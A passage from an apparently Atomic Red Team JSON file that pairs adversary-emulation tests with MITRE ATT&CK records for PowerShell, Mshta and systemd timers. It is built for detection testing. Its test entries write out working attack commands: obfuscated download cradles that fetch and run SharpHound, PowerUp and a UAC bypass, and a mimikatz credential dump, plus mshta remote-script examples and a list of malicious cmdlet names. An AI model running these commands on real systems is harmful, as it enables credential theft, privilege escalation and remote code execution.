\"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\" -OutFile \"#{file_path}\\SharpHound.ps1\"\n" - } - ], - "executor": { - "command": "write-host \"Import and Execution of SharpHound.ps1 from #{file_path}\" -ForegroundColor Cyan\nimport-module #{file_path}\\SharpHound.ps1\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5\n", - "cleanup_command": "Remove-Item $env:Temp\\*BloodHound.zip -Force\n", - "name": "powershell" - } - }, - { - "name": "Run Bloodhound from Memory using Download Cradle", - "auto_generated_guid": "bf8c1441-4674-4dab-8e4e-39d93d08f9b7", - "description": "Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "write-host \"Remote download of SharpHound.ps1 into memory, followed by execution of the script\" -ForegroundColor Cyan\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5\n", - "cleanup_command": "Remove-Item $env:Temp\\*BloodHound.zip -Force\n", - "name": "powershell" - } - }, - { - "name": "Obfuscation Tests", - "auto_generated_guid": "4297c41a-8168-4138-972d-01f3ee92c804", - "description": "Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: \"SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION\"\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))\n(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()\nSet-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))\n", - "name": "powershell" - } - }, - { - "name": "Mimikatz - Cradlecraft PsSendKeys", - "auto_generated_guid": "af1800cf-9f9d-4fd1-a709-14b1e6de020d", - "description": "Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Invoke-AppPathBypass", - "auto_generated_guid": "06a220b6-7e29-4bd8-9d07-5b4d86742372", - "description": "Note: Windows 10 only. Upon execution windows backup and restore window will be opened.\n\nBypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\Windows\\System32\\cmd.exe'\"\n", - "name": "command_prompt" - } - }, - { - "name": "Powershell MsXml COM object - with prompt", - "auto_generated_guid": "388a7340-dbc1-4c9d-8e59-b75ad8c6d5da", - "description": "Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, \"Download Cradle test success!\" will be displayed.\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url": { - "description": "url of payload to execute", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1" - } - }, - "executor": { - "command": "powershell.exe -exec bypass -noprofile \"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\"\n", - "name": "command_prompt" - } - }, - { - "name": "Powershell XML requests", - "auto_generated_guid": "4396927f-e503-427b-b023-31049b9b09a6", - "description": "Powershell xml download request. Upon execution, \"Download Cradle test success!\" will be dispalyed.\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url": { - "description": "url of payload to execute", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml" - } - }, - "executor": { - "command": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass -noprofile \"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX\"\n", - "name": "command_prompt" - } - }, - { - "name": "Powershell invoke mshta.exe download", - "auto_generated_guid": "8a2ad40b-12c7-4b25-8521-2737b0a415af", - "description": "Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display \"Download Cradle test success!\".\n\nProvided by https://github.com/mgreen27/mgreen27.github.io\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url": { - "description": "url of payload to execute", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct" - } - }, - "executor": { - "command": "C:\\Windows\\system32\\cmd.exe /c \"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\"\n", - "name": "command_prompt" - } - }, - { - "name": "Powershell Invoke-DownloadCradle", - "auto_generated_guid": "cc50fa2a-a4be-42af-a88f-e347ba0bf4d7", - "description": "Provided by https://github.com/mgreen27/mgreen27.github.io\nInvoke-DownloadCradle is used to generate Network and Endpoint artifacts.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "steps": "1. Open Powershell_ise as a Privileged Account\n2. Invoke-DownloadCradle.ps1\n", - "name": "manual" - } - }, - { - "name": "PowerShell Fileless Script Execution", - "auto_generated_guid": "fa050f5e-bc75-4230-af73-b6fd7852cd73", - "description": "Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open \"C:\\Windows\\Temp\" and verify that\nart-marker.txt is in the folder.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "# Encoded payload in next command is the following \"Set-Content -path \"$env:SystemRoot/Temp/art-marker.txt\" -value \"Hello from the Atomic Red Team\"\"\nreg.exe add \"HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam\" /v ART /t REG_SZ /d \"U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=\"\niex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\\Software\\Classes\\AtomicRedTeam').ART)))\n", - "cleanup_command": "Remove-Item -path C:\\Windows\\Temp\\art-marker.txt -Force -ErrorAction Ignore\nRemove-Item HKCU:\\Software\\Classes\\AtomicRedTeam -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "PowerShell Downgrade Attack", - "auto_generated_guid": "9148e7c4-9356-420e-a416-e896e9c0f73e", - "description": "This test requires the manual installation of PowerShell V2.\n\nAttempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/\n", - "supported_platforms": [ - "windows" - ], - "dependencies": [ - { - "description": "PowerShell version 2 must be installed\n", - "prereq_command": "if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}\n", - "get_prereq_command": "Write-Host Automated installer not implemented yet, please install PowerShell v2 manually\n" - } - ], - "executor": { - "command": "powershell.exe -version 2 -Command Write-Host $PSVersion\n", - "name": "powershell" - } - }, - { - "name": "NTFS Alternate Data Stream Access", - "auto_generated_guid": "8e5c5532-1181-4c1d-bb79-b3a9f5dbd680", - "description": "Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, \"Stream Data Executed\" will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ads_file": { - "description": "File created to store Alternate Stream Data", - "type": "string", - "default": "$env:TEMP\\NTFS_ADS.txt" - } - }, - "dependencies": [ - { - "description": "Homedrive must be an NTFS drive\n", - "prereq_command": "if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains \"NTFS\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Write-Host Prereq's for this test cannot be met automatically\n" - } - ], - "executor": { - "name": "powershell", - "command": "Add-Content -Path #{ads_file} -Value 'Write-Host \"Stream Data Executed\"' -Stream 'streamCommand'\n$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'\nInvoke-Expression $streamcommand\n", - "cleanup_command": "Remove-Item #{ads_file} -Force -ErrorAction Ignore\n" - } - }, - { - "name": "PowerShell Session Creation and Use", - "auto_generated_guid": "7c1acec2-78fa-4305-a3e0-db2a54cddecd", - "description": "Connect to a remote powershell session and interact with the host.\nUpon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "hostname_to_connect": { - "description": "The host to connect to, by default it will connect to the local machine", - "type": "string", - "default": "$env:COMPUTERNAME" - } - }, - "dependencies": [ - { - "description": "PSRemoting must be enabled\n", - "prereq_command": "Try {\n New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n", - "get_prereq_command": "Enable-PSRemoting\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "New-PSSession -ComputerName #{hostname_to_connect}\nTest-Connection $env:COMPUTERNAME\nSet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use -Value \"T1086 PowerShell Session Creation and Use\"\nGet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\nRemove-Item -Force $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\n" - } - }, - { - "name": "ATHPowerShellCommandLineParameter -Command parameter variations", - "auto_generated_guid": "686a9785-f99b-41d4-90df-66ed515f81d7", - "description": "Executes powershell.exe with variations of the -Command parameter", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line_switch_type": { - "description": "The type of supported command-line switch to use", - "type": "string", - "default": "Hyphen" - }, - "command_param_variation": { - "description": "The \"Command\" parameter variation to use", - "type": "string", - "default": "C" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop", - "name": "powershell" - } - }, - { - "name": "ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments", - "auto_generated_guid": "1c0a870f-dc74-49cf-9afc-eccc45e58790", - "description": "Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line_switch_type": { - "description": "The type of supported command-line switch to use", - "type": "string", - "default": "Hyphen" - }, - "command_param_variation": { - "description": "The \"Command\" parameter variation to use", - "type": "string", - "default": "C" - }, - "encoded_arguments_param_variation": { - "description": "The \"EncodedArguments\" parameter variation to use", - "type": "string", - "default": "EA" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop", - "name": "powershell" - } - }, - { - "name": "ATHPowerShellCommandLineParameter -EncodedCommand parameter variations", - "auto_generated_guid": "86a43bad-12e3-4e85-b97c-4d5cf25b95c3", - "description": "Executes powershell.exe with variations of the -EncodedCommand parameter", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line_switch_type": { - "description": "The type of supported command-line switch to use", - "type": "string", - "default": "Hyphen" - }, - "encoded_command_param_variation": { - "description": "The \"EncodedCommand\" parameter variation to use", - "type": "string", - "default": "E" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop", - "name": "powershell" - } - }, - { - "name": "ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments", - "auto_generated_guid": "0d181431-ddf3-4826-8055-2dbf63ae848b", - "description": "Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "encoded_command_param_variation": { - "description": "The \"EncodedCommand\" parameter variation to use", - "type": "string", - "default": "E" - }, - "command_line_switch_type": { - "description": "The type of supported command-line switch to use", - "type": "string", - "default": "Hyphen" - }, - "encoded_arguments_param_variation": { - "description": "The \"EncodedArguments\" parameter variation to use", - "type": "string", - "default": "EncodedArguments" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop", - "name": "powershell" - } - }, - { - "name": "PowerShell Command Execution", - "auto_generated_guid": "a538de64-1c74-46ed-aa60-b995ed302598", - "description": "Use of obfuscated PowerShell to execute an arbitrary command; outputs \"Hello, from PowerShell!\". Example is from the 2021 Threat Detection Report by Red Canary.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "obfuscated_code": { - "description": "Defaults to: Invoke-Expression with a \"Write-Host\" line.", - "type": "string", - "default": "JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==" - } - }, - "executor": { - "command": "powershell.exe -e #{obfuscated_code}\n", - "name": "command_prompt" - } - }, - { - "name": "PowerShell Invoke Known Malicious Cmdlets", - "auto_generated_guid": "49eb9404-5e0f-4031-a179-b40f7be385e3", - "description": "Powershell execution of known Malicious PowerShell Cmdlets", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "Malicious_cmdlets": { - "description": "Known Malicious Cmdlets", - "type": "string", - "default": "\"Add-Persistence\", \"Find-AVSignature\", \"Get-GPPAutologon\", \"Get-GPPPassword\", \"Get-HttpStatus\", \"Get-Keystrokes\", \"Get-SecurityPackages\", \"Get-TimedScreenshot\", \"Get-VaultCredential\", \"Get-VolumeShadowCopy\", \"Install-SSP\", \"Invoke-CredentialInjection\", \"Invoke-DllInjection\", \"Invoke-Mimikatz\", \"Invoke-NinjaCopy\", \"Invoke-Portscan\", \"Invoke-ReflectivePEInjection\", \"Invoke-ReverseDnsLookup\", \"Invoke-Shellcode\", \"Invoke-TokenManipulation\", \"Invoke-WmiCommand\", \"Mount-VolumeShadowCopy\", \"New-ElevatedPersistenceOption\", \"New-UserPersistenceOption\", \"New-VolumeShadowCopy\", \"Out-CompressedDll\", \"Out-EncodedCommand\", \"Out-EncryptedScript\", \"Out-Minidump\", \"PowerUp\", \"PowerView\", \"Remove-Comments\", \"Remove-VolumeShadowCopy\", \"Set-CriticalProcess\", \"Set-MasterBootRecord\"\n" - } - }, - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$malcmdlets = #{Malicious_cmdlets}\nforeach ($cmdlets in $malcmdlets) {\n \"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\"}\nforeach ($cmdlets in $malcmdlets) {\n $cmdlets}\n" - } - }, - { - "name": "PowerUp Invoke-AllChecks", - "auto_generated_guid": "1289f78d-22d2-4590-ac76-166737e1811b", - "description": "Check for privilege escalation paths using PowerUp from PowerShellMafia\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks\n", - "name": "powershell" - } - }, - { - "name": "Abuse Nslookup with DNS Records", - "auto_generated_guid": "999bff6d-dc15-44c9-9f5c-e1051bfc86e1", - "description": "Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.\n[reference](https://twitter.com/jstrosch/status/1237382986557001729)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "# creating a custom nslookup function that will indeed call nslookup but forces the result to be \"whoami\"\n# this would not be part of a real attack but helpful for this simulation\nfunction nslookup { &\"$env:windir\\system32\\nslookup.exe\" @args | Out-Null; @(\"\",\"whoami\")}\npowershell .(nslookup -q=txt example.com 8.8.8.8)[-1]\n", - "name": "powershell" - } - } - ] - }, - "T1170": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ricardo Dias", - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1170", - "url": "https://attack.mitre.org/techniques/T1170" - }, - { - "source_name": "Wikipedia HTML Application", - "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", - "url": "https://en.wikipedia.org/wiki/HTML_Application" - }, - { - "source_name": "MSDN HTML Applications", - "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", - "url": "https://msdn.microsoft.com/library/ms536471.aspx" - }, - { - "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", - "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", - "source_name": "Cylance Dust Storm" - }, - { - "source_name": "Red Canary HTA Abuse Part Deux", - "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", - "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", - "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", - "source_name": "FireEye Attacks Leveraging HTA" - }, - { - "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", - "source_name": "Airbus Security Kovter Analysis", - "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", - "source_name": "FireEye FIN7 April 2017" - }, - { - "source_name": "LOLBAS Mshta", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", - "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019." - } - ], - "modified": "2022-01-19T21:19:03.910Z", - "name": "Mshta", - "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1053.006": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "SarathKumar Rajendran, Trimble Inc" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", - "type": "attack-pattern", - "created": "2020-10-12T17:50:31.584Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.006", - "url": "https://attack.mitre.org/techniques/T1053/006" - }, - { - "source_name": "archlinux Systemd Timers Aug 2020", - "url": "https://wiki.archlinux.org/index.php/Systemd/Timers", - "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020." - }, - { - "source_name": "Systemd Remote Control", - "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/", - "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021." - }, - { - "source_name": "Linux man-pages: systemd January 2014", - "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", - "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019." - }, - { - "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", - "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/", - "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018" - }, - { - "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", - "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a", - "source_name": "gist Arch package compromise 10JUL2018" - }, - { - "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", - "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html", - "source_name": "acroread package compromised Arch Linux Mail 8JUL2018" - } - ], - "modified": "2021-07-27T16:43:25.027Z", - "name": "Scheduled Task/Job: Systemd Timers", - "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, 